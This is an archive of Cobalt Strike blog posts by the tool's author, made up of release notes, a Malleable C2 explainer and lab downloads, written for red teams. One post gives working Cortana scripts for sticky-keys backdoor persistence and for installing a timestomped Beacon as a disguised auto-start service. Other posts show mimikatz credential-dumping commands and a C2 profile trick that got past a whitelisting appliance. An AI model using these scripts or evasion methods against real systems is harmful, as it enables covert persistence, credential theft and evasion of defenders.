Archive for the ‘Cobalt Strike’ Category

h1

Cobalt Strike Penetration Testing Labs (Download)

June 4, 2015

My primary conference give away is a DVD with a self-contained penetration testing lab. This DVD covers the Metasploit Framework‘s capability to target a server. It also covers the client-side attack process in Cobalt Strike. It’s a pretty neat set of labs and they don’t take too long to go through.

Cobalt Strike Boxed Set

I’ve had several requests to put these labs online. If you’re one of those interested parties, then today is your lucky day. The Cobalt Strike Pen Testing Lab DVD material is now available for download.

To start, you’ll want to grab the necessary virtual machines:

1. Morning Catch (Phishing Target)
http://www.advancedpentest.com/downloads/morningcatch.zip.torrent

2. Metasploitable 2
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

3. Xubuntu Attack VM with CS dependencies and stuff to support the labs
http://www.advancedpentest.com/downloads/xubuntu.zip.torrent

Next, you’ll want to download the penetration testing lab book. Last, you’ll need to grab a trial of Cobalt Strike and install it on the Xubuntu virtual machine above.

Once you have these things, you’re ready to rock. If you get stuck, here’s a video of me going through the labs:

Enjoy!

h1

User-defined Storage-based Covert Communication

April 23, 2015

One of my favorite Cobalt Strike technologies is Malleable C2. This is a domain specific language for user-defined storage-based covert communication. That’s just a fancy way of saying that you, the operator, have control over what Cobalt Strike’s Beacon looks like when it communicates with you.

malleablec2

When I do red team work, I see the same blue audiences again and again. If the red teams I worked with were to persist the same way or have the same indicators during each engagement, the blue audiences would quickly learn these things and cease to get training value from our activity.

There’s two ways to solve this problem. One way is to use new tools during each engagement. That means the red teams either need to buy or build new tools for each repeat encounter they expect to have. This is expensive and not tractable. The other alternative is to build hacking tools that give their users flexibility to change behavior and indicators during an engagement. This line of thought is what led to Malleable C2.

Malleable C2 Profiles

The heart of Malleable C2 is a communication profile. This profile specifies what Beacon’s communication should look like on the wire. You can do the really easy stuff, like say, “I want my User-Agent to be ___________________”. That’s a simple option.

You can also dress up a Malleable C2 transaction too. The header keyword lets you add arbitrary headers to Beacon’s HTTP client requests and server replies. The parameter keyword lets you dress up Beacon’s HTTP client requests with additional parameters too.

You can also do cooler things, like say, “I want to base64 encode Beacon’s encrypted taskings and store the result inside of an HTML comment” [havex.profile] or “I want to add the encrypted Beacon tasks to a 1×1 pixel GIF file” [webbug.profile]. This is made possible by a Malleable C2 concept that I call a data transform. A data transform is a series of transforms that you may apply to data Beacon has to send. These transforms include append this string, base64 encode the data, prepend this string, and netbios encode the data.

        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }

Malleable C2 allows you to chain these transforms together into a program. This program is interpreted to transform Beacon’s data, one instruction at a time, into a string that looks like whatever you want.

transform

Critically, each of these data transforms is trivially reversible. If I base64 encode some data, I simply need to use a base64 decode operation to recover that data. If I append a string to Beacon’s data, I just need to remove that many characters when I receive data from a Beacon to recover the original data.

recover

The presence of an inverse operation for each transform is the magic that allows Cobalt Strike to derive how to send AND receive data from one specification.

The last piece of Malleable C2 is the ability to define where the data you transform is stored. Each data transform ends with a statement like print, which means send this data to the other end. More interesting statements include header and parameter which let you store the transformed data into an arbitrary HTTP header or parameter. The uri-append statement appends the transformed data to the requested URI.

This gives you an additional piece of flexibility. Not only can you define how to transform data that Beacon needs to send, you get to define where in the transaction this data goes.

Virtual Machines for Malware Communication

The challenge of Malleable C2 is that a Beacon needs to both send and receive information. This means Beacon, written in C, needs to transform data and recover data from a transform. The same goes for Cobalt Strike’s Java back-end that services Beacon’s HTTP requests.

To make this work I built a compiler for the C2 profiles. This compiler does all of the things you’d expect a traditional compiler to do. It parses the profile into an abstract syntax tree, it checks for errors, and it outputs a simple set of instructions that I wrote an interpreter for.

In effect, the Beacon payload and its server have built-in virtual machines to transform strings in different ways. Instead of CPU registers or a stack, this virtual machine operates on buffers. The active buffer maps directly to a part of a communication request. If I’m sending data from Beacon, there are buffers for parameters, headers, the URI, and in the case of a POST request–the data the client wants to send. Instructions in this Malleable C2 machine language allow the profile to set which buffer is the active one and populate/transform the data in this active buffer.

Likewise, to recover data, the Malleable C2 machine has instructions to populate a buffer with data from the transaction and to conduct inverse transforms on the data.

I could have built a simple XML format or made a few options to change static strings in Beacon’s communication. I went with this approach to give my users flexibility to look like other malware or legitimate traffic with very high fidelity. This isn’t possible with a few configuration options to change static strings. It really requires the ability to rewrite how the client and server expect to send and receive data from each other.

How I use Malleable C2

You may ask, what’s the use of Malleable C2? I’ve had a prototype of this technology since early 2014. I pushed it into production in July 2014. Now, after some time with it, I can offer some use cases.

I do use Malleable C2, for its stated use case, to emulate specific actors. The Malleable C2 Github repository has several example profiles that re-create the C2 traffic of known malware. I tend to use profiles tied to known malware when I want to get caught or when I want to exercise a blue team’s ability to analyze the attack.

Just as often, I will also modify a profile to make myself look like a variant of known malware. I do this to avoid getting caught with default signatures, but to make my activity identifiable as malicious for training audiences doing traffic analysis.

While Malleable C2 gives me a vote in how I want to get caught, it’s just as effective at evasion too. Once I know an environment’s browser configuration and sites users are likely to visit, I’ll load some of these sites in a VM, capture traffic, and craft profiles to look like this traffic. One time, I pulled down a PDF file from a document archive and made a profile to insert Beacon C2 into the middle of the PDF content. I do the same thing with JavaScript files that are common in an environment too. I also made favicon into a channel once. I didn’t spend days or hours crafting these. I built these on the fly, as needed, to support the engagement objectives.

When I stand up red team infrastructure, I always diversify my indicators. My long-haul persistence servers have different indicators from my staging and post-exploitation servers. If you use Cobalt Strike, I highly recommend you do this too. If one Beacon gets caught, you don’t want its traffic pattern to make it easy to identify all of your other Beacons. Malleable C2 makes it trivial to have indicator diversity with one tool.

Malleable C2 has helped defeat “blinky box” appliances as well:

One red team I worked with had to deal with a network appliance that whitelisted which sites clients could browse to. In this situation, we could use a client system to seed our access and troubleshoot our outbound communications. It was still our responsibility to figure out something that would work though. On a whim, we modified our profile’s HTTP GET and POST components to add a parameter with a whitelisted host in it:

http-get {
	client {
		parameter "q" "www.youtube.com";
	}
}

http-post {
	client {
		parameter "q" "www.youtube.com";
	}	
}

And, it worked. We were able to get a fully-staged HTTP Beacon past the device. Apparently this vendor didn’t check whether or not we were visiting a whitelisted domain, they just cared that a whitelisted string existed in the URL.

I’ve seen several situations where a proxy server allows certain browsers out and denies other browsers the opportunity to leave the network. These situations represent the real power of Malleable C2. If some specific part of the Beacon payload is holding you back, Malleable C2 gives you the flexibility to do something about it. I consider that a huge win for empowering my end users to get the most out of the Cobalt Strike toolset.

Malleable C2 isn’t hard to learn. I recommend grabbing an example and tweaking it. You can also read the documentation to get a feel for what Malleable C2 can do.

h1

Cobalt Strike 2.4 – A Pittance for Post-Exploitation

April 8, 2015

Cobalt Strike 2.4 is now available. If you use Beacon for post-exploitation, you’ll find a lot to like in this release. Here’s the highlights:

Post-Exploitation Jobs

Beacon now supports long-running jobs. These are post-exploitation tasks that live in other processes and report information to Beacon as it becomes available.

Beacon’s keystroke logger was rewritten to take advantage of jobs. You may now inject Beacon’s keystroke logger into an arbitrary x86 or x64 process and it will report keystrokes back to you. Use keylogger [pid] [x86|x64] to start collecting information from a process of interest.

keylogger

I’ve also updated Beacon’s shell and powershell commands to run as jobs too. Do you have a PowerShell script that needs to run for days? That’s no problem. Beacon will drip output back to you as it becomes available.

Use Beacon’s jobs command to see which jobs are running in the current Beacon. Use jobkill to terminate a job.

The move to post-ex Jobs is good for Beacon long-term. Jobs isolate your Beacon from the processes where post-exploitation tasks take place. This removes the need for a dangerous migrate operation and it protects your Beacon should disaster strike one of the processes you’re collecting information from. This construct also favors features built as Reflective DLLs and PowerShell scripts. These are things that Beacon can import when you need to use them. This allows Beacon to gain new features, but also stay small, simple, and reliable.

Mimikatz

Beacon now integrates mimikatz. Use the mimikatz command to run a command through mimikatz’s command dispatcher. Beacon will even tab complete mimikatz commands for you.

Would you like a cup of coffee? Use mimikatz standard::coffee to get it. Would you like to beat minesweeper? Use mimikatz minesweeper::infos to reveal the map.

All joking aside, the amount of capability in mimikatz is incredible. Would you like to dump cached logon hashes? Use mimikatz !lsadump::cache. Use the ! to make mimikatz elevate to SYSTEM before it runs your command.

mimikatz

Would you like to dump plaintext passwords? Use mimikatz sekurlsa::wdigest. I’ve also created a wdigest command in Beacon to alias this for you.

This integration is very user friendly. Beacon will deploy an x64 or x86 mimikatz depending on the native architecture of the target system. Beacon will also attempt to secure the SE_DEBUG privilege for your mimikatz instance too.

As an aside, Beacon gained a hashdump command too. Similar to mimikatz, Beacon manages the x86/x64 and SE_DEBUG privilege madness for you. All you have to do is dump hashes and enjoy.

Foreign Listeners

I’ve always considered session passing core to Cobalt Strike’s collaboration workflow. This release takes session passing to another level. Cobalt Strike now supports foreign listeners. These are listeners that reference a handler running in a remote Armitage, Cobalt Strike, or msfconsole instance.

If you need to pass a session to a friend, ask them for their payload type, host, and port. Create a foreign listener for them and then, you can pass accesses to them from a Beacon or any other Cobalt Strike feature that uses listeners.

listener

These three items are just a taste of Cobalt Strike 2.4. For a full list of changes, you’ll want to consult the release notes. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

Scripting Beacons and Deploying Persistence

March 5, 2015

One common Cobalt Strike feature request is an API to script the Beacon payload. Doing this right is a big project and it requires some architectural changes within Cobalt Strike. I’m working on it. I have a major development effort underway to reshape Beacon’s role in Cobalt Strike. Scripting is one piece of this.

Right now, some automation is possible. Last year, I put together an “emergency API” to deploy persistence through Beacon. My normal methods were causing Meterpreter to crash and I needed another option. This API isn’t supported and it isn’t permanent. It’s a stop-gap. In the mean time, it may help you.

The API

The bootleg Beacon scripting API adds a few functions to Cortana. [Cortana is Armitage and Cobalt Strike’s scripting engine. You can read more on it here.]

@data = beacons();

This function returns an array of information. Each entry in the array is a dictionary with all information Cobalt Strike knows about the beacon.

bcd([beacon ID], “directory”);

This function will change Beacon’s current working directory. This has the same effect as the cd command in Beacon.

%foo = bdata([beacon ID]);

This function returns a dictionary with information about the specific Beacon ID.

$foo = binfo([beacon ID], “key”);

This function queries the Beacon information and returns a key from it. For example, the Beacon information dictionary contains the user key. This is the username associated with the Beacon. Beacon adds a * to this name if the Beacon is running in a high-integrity (administrator) context. You can check for this * to see if you’re an admin or not.

bnote([beacon ID], “text”);

This function assigns a note to a Beacon. These notes are viewable under View -> Beacons.

bsleep([beacon ID], milliseconds, jitter factor);

This function changes the sleep time of a Beacon. Specify the sleep time in milliseconds. The jitter factor is a value, 0-99, that represents how much Beacon should randomly adjust its sleep time each beacon cycle.

bshell([beacon ID], “command”);

This function will ask Beacon to execute a command with the Windows command shell. This has the same effect as the shell command in Beacon. Beware that Cobalt Strike limits the run-time of these commands to 15-30s. This command is not suitable for long running tasks.

btimestomp([beacon ID], “dest file”, “source file”);

This function asks Beacon to apply the modified, last accessed, and created times of the source file to the destination file. This is a good way to make your changes blend in if you need to.

bupload([beacon id], “/path/to/local file”);

This function asks Beacon to upload a file. Please note, the path you provide is on your local system [the Cobalt Strike client]. You do not need to upload the file to the team server to use it with this function. If you want to reference a file in the same directory as your script, use the script_resource function. This function accepts a file name as an argument and returns the path to that file as if it were co-located with your script.

In all the above functions, [beacon id] is a string that represents a unique identifier for the current Beacon session. You need to know the identifier of a Beacon to issue these commands against it. One way to get this is to define a popup menu at the beacon_top hook.

popup beacon_top {
   item "My ID" {
      show_message("You have highlighted: $1");
   }
}

The above menu will add a My ID menu to the top of the beacon right-click menu. All items and sub-menus defined within this hook have the variable $1. This argument is an array that contains all Beacons associated with the current popup. If you right-click inside of a Beacon window, this array will contain one item—the ID of the current Beacon. If you highlight 100+ Beacons in the View -> Beacons dialog—this array will contain the IDs of all those Beacons. This little Beacon API makes it trivial to mass task all of your Beacons. There’s also a beacon_bottom popup hook too.

Sticky Keys

Here’s how I do sticky keys persistence with the above Beacon scripting API:

popup beacon_top {
   item "Sticky Keys" {
      local('$bid');
      foreach $bid ($1) {
         stickykeys($bid);
      }
   }
}

sub stickykeys {
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
   bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"');
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
   bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
   bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
   bshell($1, 'net start TermService');
}

Deploy Beacon on Reboot with a Service

To survive reboots, I like to create services to run Beacon. To use this script—you will need to export a fully staged Beacon as a Windows Service Executable. Go to Attacks -> Packages -> Windows Executable (S). The Service Executable is an executable that responds to Windows Service Control Manager commands. If you try to use a normal executable, Windows will kill it shortly after it runs.

Fully-staged binaries contain everything Beacon needs to run. If Beacon can’t reach you initially—it’s OK, it’ll try to beacon again. The only downside to services is they run as SYSTEM. HTTP/HTTPS Beacons will not get through an authenticated proxy when run this way. For this reason, I use fully-staged DNS Beacons when I install a persistent service.

sub persist {
   bcd($1, 'c:\windows\system32');

   # create a netsrv.exe file and co-locate it with this script.
   # remember netsrv.exe MUST be a service EXE.
   bupload($1, script_resource("netsrv.exe"));
   btimestomp($1, "netsrv.exe", "cmd.exe");
   bshell($1, 'sc delete netsrv');
   bshell($1, 'sc create netsrv binPath= "C:\windows\system32\netsrv.exe" start= auto DisplayName= "System Network Service"');
   bshell($1, 'sc start netsrv');
}

popup beacon_top {
   item "Create Service" {
      local('$bid');
      foreach $bid ($1) {
         persist($bid);
      }
   }
}

React to a New Beacon

The above examples show how to use Beacon to set up a configuration backdoor and deploy a service. They’re pretty representative of what this small API does. I get a lot of questions from folks about how to write a script that responds to a new Beacon. Cortana does not expose an API to do this. That said, you can build this API with what I provide. This script registers a ten second timer handler that calls the beacons() function. This script extracts all Beacon IDs from this list of Beacons and looks for which IDs are new. It then fires a beacon_initial event for each new Beacon. Other scripts may use this event to react to new Beacons.

global('@old');

on heartbeat_10s {
   local('@beacons $beacon $bid %data @new @all');

   # grab all beacon ids AND build a map between ids and data
   @beacons = beacons();
   foreach $beacon (@beacons) {
      $bid = $beacon['id'];
      %data[$bid] = $beacon;
      push(@all, $bid);
   }

   # remove old beacons from current list... I use copy(@all)
   # because removeAll is destructive to its first argument
   @new = removeAll(copy(@all), @old);

   # with old beacons removed; we have our new beacons...
   foreach $bid (@new) {
      fire_event("beacon_initial", $bid, %data[$bid]);
   }

   # make our list of all beacons into our old list now
   @old = @all;
}

And here’s an example of this beacon_initial event:

on beacon_initial {
   local('$key $value');
   println("I have a beacon: $1 from " . $2['internal']);
   foreach $key => $value ($2) {
      println("\t $+ $[10]key = $value");
   }
}

You may be asking—why write about an undocumented API and why write about it now? March and April is the time of the year when the Collegiate Cyber Defense Competition is in full swing. Armitage was inspired by the need for red team collaboration at these events. Through a sponsorship agreement between Strategic Cyber LLC and National CCDC, Cobalt Strike is available to the regional and National CCDC red team members. Automated persistence is a key problem for the red teams at these events. If you’re on a CCDC red team, these scripts should help you put together something unique for your region.

h1

Cobalt Strike 2.3 – I’ve always wanted runas

January 22, 2015

Cobalt Strike 2.3 is now available. This release adds a runas command to Beacon. This command allows you to specify a username and password for any user and run a command as them. Useful for situations where you know credentials for an admin and want to use them to elevate. Care to know the alternative? Shell Escalation using VBS (pg. 31, Red Team Field Manual) is what I used to do.

This release also adds a Cobalt Strike version of the PowerShell Web Delivery tool. This tool hosts a PowerShell script on Cobalt Strike’s web server that injects a Cobalt Strike listener into memory. This feature also generates a PowerShell one-liner that you may run on a target to get a session.

Finally, this release addresses an incompatibility that affected DNS Beacon users. Updates to the Metasploit Framework affected Cobalt Strike’s process to encode a stage to deliver over DNS. Cobalt Strike now includes its own encoder to build the DNS Beacon stage.

For a full list of changes, please consult the release notes. Licensed users may get the latest with the built-in update program. A 21-day trial of Cobalt Strike is available too.

h1

Cobalt Strike 2.2 – 1995 called, it wants its covert channel back…

November 20, 2014

Cobalt Strike’s Covert VPN feature now supports ICMP as one of its channels. Covert VPN is Cobalt Strike’s layer-2 pivoting capability. If you’re curious about how this technology works, I released some source code a few weeks ago.

The ICMP data channel is a turn-key way to demonstrate ICMP as an exfiltration channel if you need to prove a point. Here’s a video demonstrating Covert VPN’s ICMP channel with a server in Amazon’s EC2:

I don’t expect you to VPN all the things, but I’m excited. This feature is a step towards other work with ICMP in the future.

The ICMP VPN channel is available in today’s 2.2 release of Cobalt Strike. This release also touches and improves many of Cobalt Strike’s other features. The VNC server injection process was rewritten to better evade host-based firewalls. The spear phishing tool now handles message templates with embedded image attachments. You also get several bug fixes too. I recommend that you read the release notes for the full list of changes.

Licensed users may get the latest with the built-in update program. A 21-day trial of Cobalt Strike is available too.

h1

Map of Cobalt Strike Features for Armitage Users

October 22, 2014

I wrote Cobalt Strike and I take it for granted that my users know where things are. This doesn’t come from nowhere though. The users who get the most from this tool have read the documentation, watched my videos, or had a lot of trial and error.

If you’re new to Cobalt Strike, consider this blog post my “Get Started with the Cool Stuff” cheat sheet.

Let’s start with the Cobalt Strike menubar:

menu_cobalt

Under the Cobalt Strike menu are options to control and configure your Cobalt Strike instance. Use New Connection to connect to another team server. Go to Interfaces to work with your Covert VPN interfaces. The Listeners item is where you setup payload handlers. This is also where you configure Beacon. Go to Close to disconnect from the current team server.

menu_view

The View menu is where you reach Cobalt Strike’s data. The Applications item takes you to the results from the System Profiler. Go to Beacons to manage your Beacon sessions. I like to use Ctrl+B to dock the Beacon tab to the bottom of my Cobalt Strike instance. The Web Log item shows the activity on Cobalt Strike’s Web Server. Go to Reporting to generate a report, jump to log files, or export data.

menu_attacks

I keep Cobalt Strike’s custom attacks under the Attacks menu. Visit Packages to generate an executable or a document tied to a listener. Use Web Drive-by to host a file on Cobalt Strike’s web server or start a web drive-by attack. This is where the applet attacks live. Go to Spear Phish to kick off a spear phishing campaign.

menu_help

Under Help, I have one item of special interest to licensed Cobalt Strike users. This is the Arsenal option. This menu takes you to a site where you may download source code to Cobalt Strike’s Applet Kit and Artifact Kit. The Artifact Kit is Cobalt Strike’s solution to swap anti-virus evasion techniques. I make this source code available to licensed users to allow changes for evasion purposes.

menu_login

Cobalt Strike’s workflow for lateral movement [psexec and friends] goes beyond Armitage. You get a few new options such as wmi (token) and psexec (token). All psexec dialogs are setup to work with Cobalt Strike listeners as well. Cobalt Strike also gives you a workflow to manage SSH keys too. Finally, the psexec menus that require executables use Cobalt Strike’s Artifact Kit to generate executables.

Several of Cobalt Strike’s post-exploitation capabilities work with Meterpreter. Let’s take a look at these:

menu_access

Try Access -> Bypass UAC to elevate from a medium integrity context to a high integrity context. This menu uses the Metasploit Framework’s bypassuac_inject module with an Artifact Kit DLL.

menu_interact

Go to Interact -> Desktop (VNC) to get to your target’s desktop via VNC. This option will use a Meterpreter script to stage a VNC server in memory on the target. Once the server is up, Cobalt Strike will connect to it with a built-in VNC client. I had to license the VNC client and I consider it money very well spent.

menu_explore

Explore -> Browser Pivot is the place to start Cobalt Strike’s man-in-the-browser session stealing technology for Internet Explorer. This feature allows you to browse to websites authenticated as your target user. It’s a really interesting pen tester take on a classic crimeware activity.

menu_pivoting

Jump to Pivoting -> Deploy VPN to run Covert VPN on your target’s system. This will create a layer-2 VPN into your target’s network. How this VPN communicates frames is up to you. It can tunnel through Meterpreter or connect to you over HTTP, UDP, or a TCP connection.

Finally, Pivoting -> Listener… creates a pivot listener. This is a little user-interface magic on top of a hidden Metasploit Framework feature. A pivot listener allows you to setup a reverse connection that tunnels through a Meterpreter session. You may use these listeners anywhere a normal listener would work.

And, that’s about it. This post is a good map to find Cobalt Strike’s feature set. You’ll notice this is not a lot of new interface elements. There’s a reason for this. I hate bloated user interfaces. Most of Cobalt Strike’s feature set is in its Beacon payload. Beacon gives Cobalt Strike its new communication channels [DNS, SMB], its indicator flexibility [Malleable C2], and new post-exploitation tools. Beacon has PowerShell integration and its bypass UAC attack works on Windows 8.1. If you want to get the most out of Cobalt Strike as a toolset, study Beacon. This payload will change the way you work.

Follow

Get every new post delivered to your Inbox.

Join 15,539 other followers